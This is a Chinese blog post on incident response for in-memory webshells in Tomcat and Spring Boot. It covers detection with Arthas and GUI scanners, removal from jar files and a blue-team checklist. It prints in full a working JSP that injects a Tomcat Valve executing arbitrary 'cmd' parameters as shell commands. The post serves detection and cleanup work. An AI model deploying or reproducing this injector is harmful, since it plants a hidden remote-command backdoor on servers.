应急响应-Spring框架内存马查杀与其他补充内存马

应急响应-Spring框架内存马查杀与其他补充内存马

N0va7
2025-08-25 / 0 评论 / 1 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2025年09月01日,已超过275天没有更新,若内容或图片失效,请留言反馈。

Tomcat-Valve内存马

哥斯拉不支持该类型内存马植入,只能用脚本方式植入

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);

    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

    Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
    pipelineField.setAccessible(true);
    StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

    ValveBase valveBase = new ValveBase() {
        @Override
        public void invoke(Request request, Response response) throws ServletException,IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                this.getNext().invoke(request, response);
            }
        }
    };

    standardPipeline1.addValve(valveBase);

    out.println("evil valve inject done!");
%>

尝试通过scanner脚本查杀,发现脚本已经无法正常打开了

通过GUI工具进行查杀分析成功找到对应的Valve内存马,可进行查杀

通过Arthas工具进行分析

sc * | grep valve
jad --source-only org.apache.jsp.valve_jsp

总结

无法通过scanner脚本进行分析,有别于传统的内存马查杀方式,传统内存马这三种都可以,但是遇到这种类型就没法通过scanner脚本查杀,得通过GUI工具或者Arthas进行分析定性。

Spring框架内存马

  1. Spring Controller型内存马:动态注册Controller及映射路由。
  2. Spring Interceptor型内存马:动态注册Interceptor及映射路由。
  3. Spring Webflux型内存马:动态注册WebFilter及映射路由。

遇到框架型的内存马,我们就没法通过scanner脚本,GUI工具来进行查杀了,我们只能通过Arthas工具进行分析。

因为这些SpringBoot框架启动基本都是jar包启动,不放在Tomcat下,我们的scanner脚本基本派不上用场。

Controller型&Interceptor型内存马

源代码可知访问这个路由即可注入内存马

成功注入

通过Arthas排查

sc * | grep Controller

jad --source-only com.example.springinject.demos.web.myInjectController3

Controller型内存马

sc * | grep Interceptor

注入内存马的脚本

Webflux型内存马

先行在靶场植入内存马,尝试通过哥斯拉进行连接

通过Arthas排查

sc * | grep Webflux

发现无法找到对应的类

在这种情况出现的时候,我们就得换一种方式了,通过内存马的常见关键字进行筛查:

  1. memshell
  2. shell
  3. os
  4. runtime
  5. .......

jad --source-only com.example.webfluxmem.WebFluxFilterMemshell

实锤后门

这种也是没办法的办法,如果攻击者换一种的话基本就查不出来了,所以说内存马的查杀还是很有门道的,目前针对这种情况我没有很好的解决方案,要是有其他方法可以告知我。

如何清除内存马

上面我们在内存中分析定性了内存马是哪些类文件,而这些类文件又不像Tomcat有文件目录,他们都在jar包中,我们要怎么进行清除呢?

首先要先停止jar包的运行,然后通过压缩软件打开jar包删除恶意类

重新启动之后就不存在内存马了

蓝队排查思路总结

此类方法纯属个人了解,如有遗漏请大家多多指正

  1. 先进行资产的梳理,确认采用的组织架构,如:中间件(Tomcat)、开发框架(SpringBoot)等
  2. 对应查找可能存在的内存马技术,如:Tomcat-Valve、Spring Controller型、传统内存马
  3. 基于上述信息,我们可以确定我们要采用的分析工具,如:传统则都可用、Spring只能用Arthas等
  4. 确认采用的分析工具之后进行分析定性,如:Arthas通过命令查找对应的后缀,jad查看反编译源码,dump文件分析定性等
  5. 定性之后,通过脚本或者其他工具、手工进行内存马的清除
  6. 最后重启服务观察内存马是否仍然存在

待补充

Tomcat其他类型(如Upgrade、Executor、Poller)的内存马:

  1. 这些内存马会动态替换或添加全局组件。

其他中间件(如Grizzly)的内存马:

  1. 动态注册Filter及映射路由。

其他内存马(特殊情况下才能实现植入):

  1. WebSocket型内存马:动态注册WebSocket路由及处理逻辑。
  2. Tomcat JSP型内存马:动态注册Tomcat JSP管理逻辑并实现驻留。
  3. 线程型内存马:启动一个无法被杀死的线程。
  4. RMI型内存马:动态启动一个RMI Registry。

Agent型内存马:

通过Hook并修改关键方法添加恶意逻辑。Agent型内存马在现代webshell管理工具中有广泛实现。

0

评论 (0)

取消